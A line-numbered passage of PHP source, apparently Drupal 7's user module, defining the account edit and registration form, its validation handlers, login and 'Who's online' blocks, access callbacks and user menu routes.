1018 * Implements hook_user_view().
1019 */
1020function user_user_view($account) {
1021 $account->content['user_picture'] = array(
1022 '#markup' => theme('user_picture', array('account' => $account)),
1023 '#weight' => -10,
1024 );
1025 if (!isset($account->content['summary'])) {
1026 $account->content['summary'] = array();
1027 }
1028 $account->content['summary'] += array(
1029 '#type' => 'user_profile_category',
1030 '#attributes' => array('class' => array('user-member')),
1031 '#weight' => 5,
1032 '#title' => t('History'),
1033 );
1034 $account->content['summary']['member_for'] = array(
1035 '#type' => 'user_profile_item',
1036 '#title' => t('Member for'),
1037 '#markup' => format_interval(REQUEST_TIME - $account->created),
1038 );
1039}
1040
1041/**
1042 * Helper function to add default user account fields to user registration and edit form.
1043 *
1044 * @see user_account_form_validate()
1045 * @see user_validate_current_pass()
1046 * @see user_validate_picture()
1047 * @see user_validate_mail()
1048 */
1049function user_account_form(&$form, &$form_state) {
1050 global $user;
1051
1052 $account = $form['#user'];
1053 $register = ($form['#user']->uid > 0 ? FALSE : TRUE);
1054
1055 $admin = user_access('administer users');
1056
1057 $form['#validate'][] = 'user_account_form_validate';
1058
1059 // Account information.
1060 $form['account'] = array(
1061 '#type' => 'container',
1062 '#weight' => -10,
1063 );
1064 // Only show name field on registration form or user can change own username.
1065 $form['account']['name'] = array(
1066 '#type' => 'textfield',
1067 '#title' => t('Username'),
1068 '#maxlength' => USERNAME_MAX_LENGTH,
1069 '#description' => t('Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.'),
1070 '#required' => TRUE,
1071 '#attributes' => array('class' => array('username')),
1072 '#default_value' => (!$register ? $account->name : ''),
1073 '#access' => ($register || ($user->uid == $account->uid && user_access('change own username')) || $admin),
1074 '#weight' => -10,
1075 );
1076
1077 $form['account']['mail'] = array(
1078 '#type' => 'textfield',
1079 '#title' => t('E-mail address'),
1080 '#maxlength' => EMAIL_MAX_LENGTH,
1081 '#description' => t('A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will only be used if you wish to receive a new password or wish to receive certain news or notifications by e-mail.'),
1082 '#required' => TRUE,
1083 '#default_value' => (!$register ? $account->mail : ''),
1084 );
1085
1086 // Display password field only for existing users or when user is allowed to
1087 // assign a password during registration.
1088 if (!$register) {
1089 $form['account']['pass'] = array(
1090 '#type' => 'password_confirm',
1091 '#size' => 25,
1092 '#description' => t('To change the current user password, enter the new password in both fields.'),
1093 );
1094 // To skip the current password field, the user must have logged in via a
1095 // one-time link and have the token in the URL.
1096 $pass_reset = isset($_SESSION['pass_reset_' . $account->uid]) && isset($_GET['pass-reset-token']) && ($_GET['pass-reset-token'] == $_SESSION['pass_reset_' . $account->uid]);
1097 $protected_values = array();
1098 $current_pass_description = '';
1099 // The user may only change their own password without their current
1100 // password if they logged in via a one-time login link.
1101 if (!$pass_reset) {
1102 $protected_values['mail'] = $form['account']['mail']['#title'];
1103 $protected_values['pass'] = t('Password');
1104 $request_new = l(t('Request new password'), 'user/password', array('attributes' => array('title' => t('Request new password via e-mail.'))));
1105 $current_pass_description = t('Enter your current password to change the %mail or %pass. !request_new.', array('%mail' => $protected_values['mail'], '%pass' => $protected_values['pass'], '!request_new' => $request_new));
1106 }
1107 // The user must enter their current password to change to a new one.
1108 if ($user->uid == $account->uid) {
1109 $form['account']['current_pass_required_values'] = array(
1110 '#type' => 'value',
1111 '#value' => $protected_values,
1112 );
1113 $form['account']['current_pass'] = array(
1114 '#type' => 'password',
1115 '#title' => t('Current password'),
1116 '#size' => 25,
1117 '#access' => !empty($protected_values),
1118 '#description' => $current_pass_description,
1119 '#weight' => -5,
1120 // Do not let web browsers remember this password, since we are trying
1121 // to confirm that the person submitting the form actually knows the
1122 // current one.
1123 '#attributes' => array('autocomplete' => 'off'),
1124 );
1125 $form['#validate'][] = 'user_validate_current_pass';
1126 }
1127 }
1128 elseif (!variable_get('user_email_verification', TRUE) || $admin) {
1129 $form['account']['pass'] = array(
1130 '#type' => 'password_confirm',
1131 '#size' => 25,
1132 '#description' => t('Provide a password for the new account in both fields.'),
1133 '#required' => TRUE,
1134 );
1135 }
1136
1137 if ($admin) {
1138 $status = isset($account->status) ? $account->status : 1;
1139 }
1140 else {
1141 $status = $register ? variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL) == USER_REGISTER_VISITORS : $account->status;
1142 }
1143 $form['account']['status'] = array(
1144 '#type' => 'radios',
1145 '#title' => t('Status'),
1146 '#default_value' => $status,
1147 '#options' => array(t('Blocked'), t('Active')),
1148 '#access' => $admin,
1149 );
1150
1151 $roles = array_map('check_plain', user_roles(TRUE));
1152 // The disabled checkbox subelement for the 'authenticated user' role
1153 // must be generated separately and added to the checkboxes element,
1154 // because of a limitation in Form API not supporting a single disabled
1155 // checkbox within a set of checkboxes.
1156 // @todo This should be solved more elegantly. See issue #119038.
1157 $checkbox_authenticated = array(
1158 '#type' => 'checkbox',
1159 '#title' => $roles[DRUPAL_AUTHENTICATED_RID],
1160 '#default_value' => TRUE,
1161 '#disabled' => TRUE,
1162 );
1163 unset($roles[DRUPAL_AUTHENTICATED_RID]);
1164 $form['account']['roles'] = array(
1165 '#type' => 'checkboxes',
1166 '#title' => t('Roles'),
1167 '#default_value' => (!$register && !empty($account->roles) ? array_keys(array_filter($account->roles)) : array()),
1168 '#options' => $roles,
1169 '#access' => $roles && user_access('administer permissions'),
1170 DRUPAL_AUTHENTICATED_RID => $checkbox_authenticated,
1171 );
1172
1173 $form['account']['notify'] = array(
1174 '#type' => 'checkbox',
1175 '#title' => t('Notify user of new account'),
1176 '#access' => $register && $admin,
1177 );
1178
1179 // Signature.
1180 $form['signature_settings'] = array(
1181 '#type' => 'fieldset',
1182 '#title' => t('Signature settings'),
1183 '#weight' => 1,
1184 '#access' => (!$register && variable_get('user_signatures', 0)),
1185 );
1186
1187 $form['signature_settings']['signature'] = array(
1188 '#type' => 'text_format',
1189 '#title' => t('Signature'),
1190 '#default_value' => isset($account->signature) ? $account->signature : '',
1191 '#description' => t('Your signature will be publicly displayed at the end of your comments.'),
1192 '#format' => isset($account->signature_format) ? $account->signature_format : NULL,
1193 );
1194
1195 // Picture/avatar.
1196 $form['picture'] = array(
1197 '#type' => 'fieldset',
1198 '#title' => t('Picture'),
1199 '#weight' => 1,
1200 '#access' => (!$register && variable_get('user_pictures', 0)),
1201 );
1202 $form['picture']['picture'] = array(
1203 '#type' => 'value',
1204 '#value' => isset($account->picture) ? $account->picture : NULL,
1205 );
1206 $form['picture']['picture_current'] = array(
1207 '#markup' => theme('user_picture', array('account' => $account)),
1208 );
1209 $form['picture']['picture_delete'] = array(
1210 '#type' => 'checkbox',
1211 '#title' => t('Delete picture'),
1212 '#access' => !empty($account->picture->fid),
1213 '#description' => t('Check this box to delete your current picture.'),
1214 );
1215 $form['picture']['picture_upload'] = array(
1216 '#type' => 'file',
1217 '#title' => t('Upload picture'),
1218 '#size' => 48,
1219 '#description' => t('Your virtual face or picture. Pictures larger than @dimensions pixels will be scaled down.', array('@dimensions' => variable_get('user_picture_dimensions', '85x85'))) . ' ' . filter_xss_admin(variable_get('user_picture_guidelines', '')),
1220 );
1221 $form['#validate'][] = 'user_validate_picture';
1222}
1223
1224/**
1225 * Form validation handler for the current password on the user_account_form().
1226 *
1227 * @see user_account_form()
1228 */
1229function user_validate_current_pass(&$form, &$form_state) {
1230 $account = $form['#user'];
1231 foreach ($form_state['values']['current_pass_required_values'] as $key => $name) {
1232 // This validation only works for required textfields (like mail) or
1233 // form values like password_confirm that have their own validation
1234 // that prevent them from being empty if they are changed.
1235 if ((strlen(trim($form_state['values'][$key])) > 0) && ($form_state['values'][$key] != $account->$key)) {
1236 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
1237 $current_pass_failed = empty($form_state['values']['current_pass']) || !user_check_password($form_state['values']['current_pass'], $account);
1238 if ($current_pass_failed) {
1239 form_set_error('current_pass', t("Your current password is missing or incorrect; it's required to change the %name.", array('%name' => $name)));
1240 form_set_error($key);
1241 }
1242 // We only need to check the password once.
1243 break;
1244 }
1245 }
1246}
1247
1248/**
1249 * Form validation handler for user_account_form().
1250 *
1251 * @see user_account_form()
1252 */
1253function user_account_form_validate($form, &$form_state) {
1254 if ($form['#user_category'] == 'account' || $form['#user_category'] == 'register') {
1255 $account = $form['#user'];
1256 // Validate new or changing username.
1257 if (isset($form_state['values']['name'])) {
1258 if ($error = user_validate_name($form_state['values']['name'])) {
1259 form_set_error('name', $error);
1260 }
1261 elseif ((bool) db_select('users')->fields('users', array('uid'))->condition('uid', $account->uid, '<>')->condition('name', db_like($form_state['values']['name']), 'LIKE')->range(0, 1)->execute()->fetchField()) {
1262 form_set_error('name', t('The name %name is already taken.', array('%name' => $form_state['values']['name'])));
1263 }
1264 }
1265
1266 // Trim whitespace from mail, to prevent confusing 'e-mail not valid'
1267 // warnings often caused by cutting and pasting.
1268 $mail = trim($form_state['values']['mail']);
1269 form_set_value($form['account']['mail'], $mail, $form_state);
1270
1271 // Validate the e-mail address, and check if it is taken by an existing user.
1272 if ($error = user_validate_mail($form_state['values']['mail'])) {
1273 form_set_error('mail', $error);
1274 }
1275 elseif ((bool) db_select('users')->fields('users', array('uid'))->condition('uid', $account->uid, '<>')->condition('mail', db_like($form_state['values']['mail']), 'LIKE')->range(0, 1)->execute()->fetchField()) {
1276 // Format error message dependent on whether the user is logged in or not.
1277 if ($GLOBALS['user']->uid) {
1278 form_set_error('mail', t('The e-mail address %email is already taken.', array('%email' => $form_state['values']['mail'])));
1279 }
1280 else {
1281 form_set_error('mail', t('The e-mail address %email is already registered. <a href="@password">Have you forgotten your password?</a>', array('%email' => $form_state['values']['mail'], '@password' => url('user/password'))));
1282 }
1283 }
1284
1285 // Make sure the signature isn't longer than the size of the database field.
1286 // Signatures are disabled by default, so make sure it exists first.
1287 if (isset($form_state['values']['signature'])) {
1288 // Move text format for user signature into 'signature_format'.
1289 $form_state['values']['signature_format'] = $form_state['values']['signature']['format'];
1290 // Move text value for user signature into 'signature'.
1291 $form_state['values']['signature'] = $form_state['values']['signature']['value'];
1292
1293 $user_schema = drupal_get_schema('users');
1294 if (drupal_strlen($form_state['values']['signature']) > $user_schema['fields']['signature']['length']) {
1295 form_set_error('signature', t('The signature is too long: it must be %max characters or less.', array('%max' => $user_schema['fields']['signature']['length'])));
1296 }
1297 }
1298 }
1299}
1300
1301/**
1302 * Implements hook_user_presave().
1303 */
1304function user_user_presave(&$edit, $account, $category) {
1305 if ($category == 'account' || $category == 'register') {
1306 if (!empty($edit['picture_upload'])) {
1307 $edit['picture'] = $edit['picture_upload'];
1308 }
1309 // Delete picture if requested, and if no replacement picture was given.
1310 elseif (!empty($edit['picture_delete'])) {
1311 $edit['picture'] = NULL;
1312 }
1313 }
1314
1315 // Filter out roles with empty values to avoid granting extra roles when
1316 // processing custom form submissions.
1317 if (isset($edit['roles'])) {
1318 $edit['roles'] = array_filter($edit['roles']);
1319 }
1320
1321 // Move account cancellation information into $user->data.
1322 foreach (array('user_cancel_method', 'user_cancel_notify') as $key) {
1323 if (isset($edit[$key])) {
1324 $edit['data'][$key] = $edit[$key];
1325 }
1326 }
1327}
1328
1329/**
1330 * Implements hook_user_categories().
1331 */
1332function user_user_categories() {
1333 return array(array(
1334 'name' => 'account',
1335 'title' => t('Account settings'),
1336 'weight' => 1,
1337 ));
1338}
1339
1340function user_login_block($form) {
1341 $form['#action'] = url(current_path(), array('query' => drupal_get_destination(), 'external' => FALSE));
1342 $form['#id'] = 'user-login-form';
1343 $form['#validate'] = user_login_default_validators();
1344 $form['#submit'][] = 'user_login_submit';
1345 $form['name'] = array('#type' => 'textfield',
1346 '#title' => t('Username'),
1347 '#maxlength' => USERNAME_MAX_LENGTH,
1348 '#size' => 15,
1349 '#required' => TRUE,
1350 );
1351 $form['pass'] = array('#type' => 'password',
1352 '#title' => t('Password'),
1353 '#size' => 15,
1354 '#required' => TRUE,
1355 );
1356 $form['actions'] = array('#type' => 'actions');
1357 $form['actions']['submit'] = array('#type' => 'submit',
1358 '#value' => t('Log in'),
1359 );
1360 $items = array();
1361 if (variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL)) {
1362 $items[] = l(t('Create new account'), 'user/register', array('attributes' => array('title' => t('Create a new user account.'))));
1363 }
1364 $items[] = l(t('Request new password'), 'user/password', array('attributes' => array('title' => t('Request new password via e-mail.'))));
1365 $form['links'] = array('#markup' => theme('item_list', array('items' => $items)));
1366 return $form;
1367}
1368
1369/**
1370 * Implements hook_block_info().
1371 */
1372function user_block_info() {
1373 global $user;
1374
1375 $blocks['login']['info'] = t('User login');
1376 // Not worth caching.
1377 $blocks['login']['cache'] = DRUPAL_NO_CACHE;
1378
1379 $blocks['new']['info'] = t('Who\'s new');
1380 $blocks['new']['properties']['administrative'] = TRUE;
1381
1382 // Too dynamic to cache.
1383 $blocks['online']['info'] = t('Who\'s online');
1384 $blocks['online']['cache'] = DRUPAL_NO_CACHE;
1385 $blocks['online']['properties']['administrative'] = TRUE;
1386
1387 return $blocks;
1388}
1389
1390/**
1391 * Implements hook_block_configure().
1392 */
1393function user_block_configure($delta = '') {
1394 global $user;
1395
1396 switch ($delta) {
1397 case 'new':
1398 $form['user_block_whois_new_count'] = array(
1399 '#type' => 'select',
1400 '#title' => t('Number of users to display'),
1401 '#default_value' => variable_get('user_block_whois_new_count', 5),
1402 '#options' => drupal_map_assoc(array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)),
1403 );
1404 return $form;
1405
1406 case 'online':
1407 $period = drupal_map_assoc(array(30, 60, 120, 180, 300, 600, 900, 1800, 2700, 3600, 5400, 7200, 10800, 21600, 43200, 86400), 'format_interval');
1408 $form['user_block_seconds_online'] = array('#type' => 'select', '#title' => t('User activity'), '#default_value' => variable_get('user_block_seconds_online', 900), '#options' => $period, '#description' => t('A user is considered online for this long after they have last viewed a page.'));
1409 $form['user_block_max_list_count'] = array('#type' => 'select', '#title' => t('User list length'), '#default_value' => variable_get('user_block_max_list_count', 10), '#options' => drupal_map_assoc(array(0, 5, 10, 15, 20, 25, 30, 40, 50, 75, 100)), '#description' => t('Maximum number of currently online users to display.'));
1410 return $form;
1411 }
1412}
1413
1414/**
1415 * Implements hook_block_save().
1416 */
1417function user_block_save($delta = '', $edit = array()) {
1418 global $user;
1419
1420 switch ($delta) {
1421 case 'new':
1422 variable_set('user_block_whois_new_count', $edit['user_block_whois_new_count']);
1423 break;
1424
1425 case 'online':
1426 variable_set('user_block_seconds_online', $edit['user_block_seconds_online']);
1427 variable_set('user_block_max_list_count', $edit['user_block_max_list_count']);
1428 break;
1429 }
1430}
1431
1432/**
1433 * Implements hook_block_view().
1434 */
1435function user_block_view($delta = '') {
1436 global $user;
1437
1438 $block = array();
1439
1440 switch ($delta) {
1441 case 'login':
1442 // For usability's sake, avoid showing two login forms on one page.
1443 if (!$user->uid && !(arg(0) == 'user' && !is_numeric(arg(1)))) {
1444
1445 $block['subject'] = t('User login');
1446 $block['content'] = drupal_get_form('user_login_block');
1447 }
1448 return $block;
1449
1450 case 'new':
1451 if (user_access('access content')) {
1452 // Retrieve a list of new users who have subsequently accessed the site successfully.
1453 $items = db_query_range('SELECT uid, name FROM {users} WHERE status <> 0 AND access <> 0 ORDER BY created DESC', 0, variable_get('user_block_whois_new_count', 5))->fetchAll();
1454 $output = theme('user_list', array('users' => $items));
1455
1456 $block['subject'] = t('Who\'s new');
1457 $block['content'] = $output;
1458 }
1459 return $block;
1460
1461 case 'online':
1462 if (user_access('access content')) {
1463 // Count users active within the defined period.
1464 $interval = REQUEST_TIME - variable_get('user_block_seconds_online', 900);
1465
1466 // Perform database queries to gather online user lists. We use s.timestamp
1467 // rather than u.access because it is much faster.
1468 $authenticated_count = db_query("SELECT COUNT(DISTINCT s.uid) FROM {sessions} s WHERE s.timestamp >= :timestamp AND s.uid > 0", array(':timestamp' => $interval))->fetchField();
1469
1470 $output = '<p>' . format_plural($authenticated_count, 'There is currently 1 user online.', 'There are currently @count users online.') . '</p>';
1471
1472 // Display a list of currently online users.
1473 $max_users = variable_get('user_block_max_list_count', 10);
1474 if ($authenticated_count && $max_users) {
1475 $items = db_query_range('SELECT u.uid, u.name, MAX(s.timestamp) AS max_timestamp FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.timestamp >= :interval AND s.uid > 0 GROUP BY u.uid, u.name ORDER BY max_timestamp DESC', 0, $max_users, array(':interval' => $interval))->fetchAll();
1476 $output .= theme('user_list', array('users' => $items));
1477 }
1478
1479 $block['subject'] = t('Who\'s online');
1480 $block['content'] = $output;
1481 }
1482 return $block;
1483 }
1484}
1485
1486/**
1487 * Process variables for user-picture.tpl.php.
1488 *
1489 * The $variables array contains the following arguments:
1490 * - $account: A user, node or comment object with 'name', 'uid' and 'picture'
1491 * fields.
1492 *
1493 * @see user-picture.tpl.php
1494 */
1495function template_preprocess_user_picture(&$variables) {
1496 $variables['user_picture'] = '';
1497 if (variable_get('user_pictures', 0)) {
1498 $account = $variables['account'];
1499 if (!empty($account->picture)) {
1500 // @TODO: Ideally this function would only be passed file objects, but
1501 // since there's a lot of legacy code that JOINs the {users} table to
1502 // {node} or {comments} and passes the results into this function if we
1503 // a numeric value in the picture field we'll assume it's a file id
1504 // and load it for them. Once we've got user_load_multiple() and
1505 // comment_load_multiple() functions the user module will be able to load
1506 // the picture files in mass during the object's load process.
1507 if (is_numeric($account->picture)) {
1508 $account->picture = file_load($account->picture);
1509 }
1510 if (!empty($account->picture->uri)) {
1511 $filepath = $account->picture->uri;
1512 }
1513 }
1514 elseif (variable_get('user_picture_default', '')) {
1515 $filepath = variable_get('user_picture_default', '');
1516 }
1517 if (isset($filepath)) {
1518 $alt = t("@user's picture", array('@user' => format_username($account)));
1519 // If the image does not have a valid Drupal scheme (for eg. HTTP),
1520 // don't load image styles.
1521 if (module_exists('image') && file_valid_uri($filepath) && $style = variable_get('user_picture_style', '')) {
1522 $variables['user_picture'] = theme('image_style', array('style_name' => $style, 'path' => $filepath, 'alt' => $alt, 'title' => $alt));
1523 }
1524 else {
1525 $variables['user_picture'] = theme('image', array('path' => $filepath, 'alt' => $alt, 'title' => $alt));
1526 }
1527 if (!empty($account->uid) && user_access('access user profiles')) {
1528 $attributes = array('attributes' => array('title' => t('View user profile.')), 'html' => TRUE);
1529 $variables['user_picture'] = l($variables['user_picture'], "user/$account->uid", $attributes);
1530 }
1531 }
1532 }
1533}
1534
1535/**
1536 * Returns HTML for a list of users.
1537 *
1538 * @param $variables
1539 * An associative array containing:
1540 * - users: An array with user objects. Should contain at least the name and
1541 * uid.
1542 * - title: (optional) Title to pass on to theme_item_list().
1543 *
1544 * @ingroup themeable
1545 */
1546function theme_user_list($variables) {
1547 $users = $variables['users'];
1548 $title = $variables['title'];
1549 $items = array();
1550
1551 if (!empty($users)) {
1552 foreach ($users as $user) {
1553 $items[] = theme('username', array('account' => $user));
1554 }
1555 }
1556 return theme('item_list', array('items' => $items, 'title' => $title));
1557}
1558
1559/**
1560 * Determines if the current user is anonymous.
1561 *
1562 * @return bool
1563 * TRUE if the user is anonymous, FALSE if the user is authenticated.
1564 */
1565function user_is_anonymous() {
1566 // Menu administrators can see items for anonymous when administering.
1567 return !$GLOBALS['user']->uid || !empty($GLOBALS['menu_admin']);
1568}
1569
1570/**
1571 * Determines if the current user is logged in.
1572 *
1573 * @return bool
1574 * TRUE if the user is logged in, FALSE if the user is anonymous.
1575 */
1576function user_is_logged_in() {
1577 return (bool) $GLOBALS['user']->uid;
1578}
1579
1580/**
1581 * Determines if the current user has access to the user registration page.
1582 *
1583 * @return bool
1584 * TRUE if the user is not already logged in and can register for an account.
1585 */
1586function user_register_access() {
1587 return user_is_anonymous() && variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL);
1588}
1589
1590/**
1591 * User view access callback.
1592 *
1593 * @param $account
1594 * Can either be a full user object or a $uid.
1595 */
1596function user_view_access($account) {
1597 $uid = is_object($account) ? $account->uid : (int) $account;
1598
1599 // Never allow access to view the anonymous user account.
1600 if ($uid) {
1601 // Admins can view all, users can view own profiles at all times.
1602 if ($GLOBALS['user']->uid == $uid || user_access('administer users')) {
1603 return TRUE;
1604 }
1605 elseif (user_access('access user profiles')) {
1606 // At this point, load the complete account object.
1607 if (!is_object($account)) {
1608 $account = user_load($uid);
1609 }
1610 return (is_object($account) && $account->status);
1611 }
1612 }
1613 return FALSE;
1614}
1615
1616/**
1617 * Access callback for user account editing.
1618 */
1619function user_edit_access($account) {
1620 return (($GLOBALS['user']->uid == $account->uid) || user_access('administer users')) && $account->uid > 0;
1621}
1622
1623/**
1624 * Menu access callback; limit access to account cancellation pages.
1625 *
1626 * Limit access to users with the 'cancel account' permission or administrative
1627 * users, and prevent the anonymous user from cancelling the account.
1628 */
1629function user_cancel_access($account) {
1630 return ((($GLOBALS['user']->uid == $account->uid) && user_access('cancel account')) || user_access('administer users')) && $account->uid > 0;
1631}
1632
1633/**
1634 * Implements hook_menu().
1635 */
1636function user_menu() {
1637 $items['user/autocomplete'] = array(
1638 'title' => 'User autocomplete',
1639 'page callback' => 'user_autocomplete',
1640 'access callback' => 'user_access',
1641 'access arguments' => array('access user profiles'),
1642 'type' => MENU_CALLBACK,
1643 'file' => 'user.pages.inc',
1644 );
1645
1646 // Registration and login pages.
1647 $items['user'] = array(
1648 'title' => 'User account',
1649 'title callback' => 'user_menu_title',
1650 'page callback' => 'user_page',
1651 'access callback' => TRUE,
1652 'file' => 'user.pages.inc',
1653 'weight' => -10,
1654 'menu_name' => 'user-menu',
1655 );
1656
1657 $items['user/login'] = array(
1658 'title' => 'Log in',
1659 'access callback' => 'user_is_anonymous',
1660 'type' => MENU_DEFAULT_LOCAL_TASK,
1661 );
1662
1663 $items['user/register'] = array(
1664 'title' => 'Create new account',
1665 'page callback' => 'drupal_get_form',
1666 'page arguments' => array('user_register_form'),
1667 'access callback' => 'user_register_access',
1668 'type' => MENU_LOCAL_TASK,
1669 );
1670
1671 $items['user/password'] = array(
1672 'title' => 'Request new password',
1673 'page callback' => 'drupal_get_form',
1674 'page arguments' => array('user_pass'),
1675 'access callback' => TRUE,
1676 'type' => MENU_LOCAL_TASK,
1677 'file' => 'user.pages.inc',
1678 );
1679 $items['user/reset/%/%/%'] = array(
1680 'title' => 'Reset password',
1681 'page callback' => 'drupal_get_form',
1682 'page arguments' => array('user_pass_reset', 2, 3, 4),
1683 'access callback' => TRUE,
1684 'type' => MENU_CALLBACK,
1685 'file' => 'user.pages.inc',
1686 );
1687
1688 $items['user/logout'] = array(
1689 'title' => 'Log out',
1690 'access callback' => 'user_is_logged_in',
1691 'page callback' => 'user_logout',
1692 'weight' => 10,
1693 'menu_name' => 'user-menu',
1694 'file' => 'user.pages.inc',
1695 );
1696
1697 // User listing pages.
1698 $items['admin/people'] = array(
1699 'title' => 'People',
1700 'description' => 'Manage user accounts, roles, and permissions.',
1701 'page callback' => 'user_admin',
1702 'page arguments' => array('list'),
1703 'access arguments' => array('administer users'),
1704 'position' => 'left',
1705 'weight' => -4,
1706 'file' => 'user.admin.inc',
1707 );
1708 $items['admin/people/people'] = array(
1709 'title' => 'List',
1710 'description' => 'Find and manage people interacting with your site.',
1711 'access arguments' => array('administer users'),
1712 'type' => MENU_DEFAULT_LOCAL_TASK,
1713 'weight' => -10,
1714 'file' => 'user.admin.inc',
1715 );
1716
1717 // Permissions and role forms.
1718 $items['admin/people/permissions'] = array(
1719 'title' => 'Permissions',
1720 'description' => 'Determine access to features by selecting permissions for roles.',
1721 'page callback' => 'drupal_get_form',
1722 'page arguments' => array('user_admin_permissions'),
1723 'access arguments' => array('administer permissions'),
1724 'file' => 'user.admin.inc',
1725 'type' => MENU_LOCAL_TASK,
1726 );
1727 $items['admin/people/permissions/list'] = array(
1728 'title' => 'Permissions',
1729 'description' => 'Determine access to features by selecting permissions for roles.',
1730 'type' => MENU_DEFAULT_LOCAL_TASK,
1731 'weight' => -8,
1732 );
1733 $items['admin/people/permissions/roles'] = array(
1734 'title' => 'Roles',
1735 'description' => 'List, edit, or add user roles.',
1736 'page callback' => 'drupal_get_form',
1737 'page arguments' => array('user_admin_roles'),
1738 'access arguments' => array('administer permissions'),
1739 'file' => 'user.admin.inc',
1740 'type' => MENU_LOCAL_TASK,
1741 'weight' => -5,
1742 );
1743 $items['admin/people/permissions/roles/edit/%user_role'] = array(
1744 'title' => 'Edit role',
1745 'page arguments' => array('user_admin_role', 5),
1746 'access callback' => 'user_role_edit_access',
1747 'access arguments' => array(5),
1748 );
1749 $items['admin/people/permissions/roles/delete/%user_role'] = array(
1750 'title' => 'Delete role',
1751 'page callback' => 'drupal_get_form',
1752 'page arguments' => array('user_admin_role_delete_confirm', 5),
1753 'access callback' => 'user_role_edit_access',
1754 'access arguments' => array(5),
1755 'file' => 'user.admin.inc',
1756 );
1757
1758 $items['admin/people/create'] = array(
1759 'title' => 'Add user',
1760 'page arguments' => array('create'),
1761 'access arguments' => array('administer users'),
1762 'type' => MENU_LOCAL_ACTION,
1763 );
1764
1765 // Administration pages.
1766 $items['admin/config/people'] = array(
1767 'title' => 'People',
1768 'description' => 'Configure user accounts.',
1769 'position' => 'left',
1770 'weight' => -20,
1771 'page callback' => 'system_admin_menu_block_page',
1772 'access arguments' => array('access administration pages'),
1773 'file' => 'system.admin.inc',
1774 'file path' => drupal_get_path('module', 'system'),
1775 );
1776 $items['admin/config/people/accounts'] = array(
1777 'title' => 'Account settings',
1778 'description' => 'Configure default behavior of users, including registration requirements, e-mails, fields, and user pictures.',
1779 'page callback' => 'drupal_get_form',
1780 'page arguments' => array('user_admin_settings'),
1781 'access arguments' => array('administer users'),
1782 'file' => 'user.admin.inc',
1783 'weight' => -10,
1784 );
1785 $items['admin/config/people/accounts/settings'] = array(
1786 'title' => 'Settings',
1787 'type' => MENU_DEFAULT_LOCAL_TASK,
1788 'weight' => -10,
1789 );
1790
1791 $items['user/%user'] = array(
1792 'title' => 'My account',
1793 'title callback' => 'user_page_title',
1794 'title arguments' => array(1),
1795 'page callback' => 'user_view_page',
1796 'page arguments' => array(1),
1797 'access callback' => 'user_view_access',
1798 'access arguments' => array(1),
1799 // By assigning a different menu name, this item (and all registered child
1800 // paths) are no longer considered as children of 'user'. When accessing the
1801 // user account pages, the preferred menu link that is used to build the
1802 // active trail (breadcrumb) will be found in this menu (unless there is
1803 // more specific link), so the link to 'user' will not be in the breadcrumb.
1804 'menu_name' => 'navigation',
1805 );
1806
1807 $items['user/%user/view'] = array(
1808 'title' => 'View',
1809 'type' => MENU_DEFAULT_LOCAL_TASK,
1810 'weight' => -10,
1811 );
1812
1813 $items['user/%user/cancel'] = array(
1814 'title' => 'Cancel account',
1815 'page callback' => 'drupal_get_form',
1816 'page arguments' => array('user_cancel_confirm_form', 1),
1817 'access callback' => 'user_cancel_access',
1818 'access arguments' => array(1),
1819 'file' => 'user.pages.inc',
1820 );
1821
1822 $items['user/%user/cancel/confirm/%/%'] = array(
1823 'title' => 'Confirm account cancellation',
1824 'page callback' => 'user_cancel_confirm',
1825 'page arguments' => array(1, 4, 5),
1826 'access callback' => 'user_cancel_access',
1827 'access arguments' => array(1),
1828 'file' => 'user.pages.inc',
1829 );
1830
1831 $items['user/%user/edit'] = array(
1832 'title' => 'Edit',
1833 'page callback' => 'drupal_get_form',
1834 'page arguments' => array('user_profile_form', 1),
1835 'access callback' => 'user_edit_access',
1836 'access arguments' => array(1),
1837 'type' => MENU_LOCAL_TASK,
1838 'file' => 'user.pages.inc',
1839 );
1840
1841 $items['user/%user_category/edit/account'] = array(
1842 'title' => 'Account',
1843 'type' => MENU_DEFAULT_LOCAL_TASK,
1844 'load arguments' => array('%map', '%index'),
1845 );
1846
1847 if (($categories = _user_categories()) && (count($categories) > 1)) {
1848 foreach ($categories as $key => $category) {
1849 // 'account' is already handled by the MENU_DEFAULT_LOCAL_TASK.
1850 if ($category['name'] != 'account') {
1851 $items['user/%user_category/edit/' . $category['name']] = array(
1852 'title callback' => 'check_plain',
1853 'title arguments' => array($category['title']),
1854 'page callback' => 'drupal_get_form',
1855 'page arguments' => array('user_profile_form', 1, 3),
1856 'access callback' => isset($category['access callback']) ? $category['access callback'] : 'user_edit_access',
1857 'access arguments' => isset($category['access arguments']) ? $category['access arguments'] : array(1),
1858 'type' => MENU_LOCAL_TASK,
1859 'weight' => $category['weight'],
1860 'load arguments' => array('%map', '%index'),
1861 'tab_parent' => 'user/%/edit',
1862 'file' => 'user.pages.inc',
1863 );
1864 }
1865 }
1866 }
1867 return $items;
1868}
1869
1870/**
1871 * Implements hook_menu_site_status_alter().
1872 */
1873function user_menu_site_status_alter(&$menu_site_status, $path) {
1874 if ($menu_site_status == MENU_SITE_OFFLINE) {
1875 // If the site is offline, log out unprivileged users.
1876 if (user_is_logged_in() && !user_access('access site in maintenance mode')) {
1877 module_load_include('pages.inc', 'user', 'user');
1878 user_logout();
1879 }
1880
1881 if (user_is_anonymous()) {
1882 switch ($path) {
1883 case 'user':
1884 // Forward anonymous user to login page.
1885 drupal_goto('user/login');
1886 case 'user/login':
1887 case 'user/password':
1888 // Disable offline mode.
1889 $menu_site_status = MENU_SITE_ONLINE;
1890 break;
1891 default:
1892 if (strpos($path, 'user/reset/') === 0) {
1893 // Disable offline mode.
1894 $menu_site_status = MENU_SITE_ONLINE;
1895 }
1896 break;
1897 }
1898 }
1899 }
1900 if (user_is_logged_in()) {
1901 if ($path == 'user/login') {
1902 // If user is logged in, redirect to 'user' instead of giving 403.
1903 drupal_goto('user');
1904 }
1905 if ($path == 'user/register') {
1906 // Authenticated user should be redirected to user edit page.
1907 drupal_goto('user/' . $GLOBALS['user']->uid . '/edit');
1908 }
